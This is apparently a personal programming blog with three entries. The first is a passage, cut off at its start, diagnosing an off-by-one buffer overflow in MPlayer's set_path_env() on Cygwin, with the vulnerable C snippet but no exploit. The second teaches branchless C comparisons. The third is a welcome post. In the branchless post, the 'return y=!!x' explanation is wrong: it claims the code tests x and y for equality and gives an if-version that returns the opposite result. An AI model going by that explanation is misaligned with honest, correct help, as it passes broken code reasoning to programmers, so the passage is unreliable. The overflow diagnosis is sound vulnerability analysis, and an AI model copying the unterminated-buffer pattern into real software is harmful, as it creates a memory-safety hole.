To do this, the right path to the codecs has to be set. In get_path.c, MPlayer calls the set_path_env() function, which declares a tmppath char array, in the size of 2*MAXPATH + 1, because two different paths (called "realpath" and "win32path") are copied in the tmppath array.

The upcoming problem is that those both paths have to be devided by a semicolon character to get recognized by the OS correctly. If both paths have the size MAXPATH, the last free byte of the array is used by the semicolon, so we implicitly don't have space left for \0 termination, leading to the segmentation fault.

void set_path_env(){    char tmppath[MAX_PATH*2 + 1];    char win32path[MAX_PATH];    char realpath[MAX_PATH];#ifdef __CYGWIN__    cygwin_conv_to_full_win32_path(WIN32_PATH,win32path);    strcpy(tmppath,win32path);#ifdef USE_REALCODECS    cygwin_conv_to_full_win32_path(REALCODEC_PATH,realpath);    sprintf(tmppath,"%s;%s",win32path,realpath);#endif /*USE_REALCODECS*/

As the code says, win32path is set by a cygwin built-in function called cygwin_conv_to_full_win32_path(), which takes WIN32_PATH - a define which is set when mplayer compiles (check ./configure, about line 6055). This path is translated to a "real" win32-path, if given in POSIX. The cygwin function also converts a relatively given path to an absolute one, but doesn't check if the second argument (the non-const string, win32path) has enough bytes to fill.

Conditional fun
Tags: coding, info

06 01 2007 #002

You think this code is ok?

int compare(int x, int y, int z) {     if (x==0)         return y;     else         return z; }

Of course it is, but isit the most efficient way to branch? Are you sure why the following code works?

     return y=!!x;

Get a few information about the almighty If-Statement...

If-branches, one of the thing nearly every programming language has to implement. If-statements make use of the brachning system, the current CPU architecture provides (well, not all CPUs do, but virtually).

Unfortunately, for CPUs it's much harder to realize and execute jumping than simple arithmetic, or even better, bitwise operations. Have a look at the introducing code:

int compare(int x, int y, int z) {     if (x==0)         return y;     else         return z; }

Of course, we don't need the else statement at all here.

    if (x==0)          return y;     return z;

Well, still we branch. More skilled C/Java/Perl-programmers would make use of the ternary operator:

int compare(int x, int y, int z) {     return (x==0) ? y : z;}

These operators save time, because the compiler (normally) doesn't realize this as an normal if-statement, but although executes branches. Have a look at the following code:

int compare(int x, int y) {    int a[] = {x,y};    return a[x==0];}

This code substitues the branch, usually done by an if-statement, by just performing a comparison (x==0). The clue is that comparison operators can only return true or false since a comparison naturally only defines two states of results - it can be the same or not the same.

In other words, the code won't work with more than two variables, although we can check against something other than zero. However, the point is we finally managed to quit using jumps, but we still rely on defining an array. Let's go a step further:

int compare(int x, int y){    return y=!!x;}

The above code also works with only two variables. The way this works, is the following: We want to compare x and y, and return true if both are the same and false if they are different. The first negotiation of x makes sure that only true or false (in fact 0 or 1) is returned. At this base, we again negotiate the negotiation - what we get is true if x was a positive integer and false if x was zero. Using if's, the code would be:

int compare(int x, int y){    if(x==0)        y = 1;    else        y = 0;    return y;}

However, this only works with two variables, and only with binary return values. If you need a compare-function not using branching at all, with all three parameters of any positive value, here's a quite nice piece of code working perfectly:

int compare(int x, int y, int z){     return (y<<(!x)) + (z <<(!!x)) + ~y + 1 + ~z + 1;}

Hello world!
Tags: news

01 01 2007 #001

Welcome to Delta Xi. This page will most probably be highly uninteresting to the majority of anyone who may accidentally come across. Anyway, since you're already here - have fun!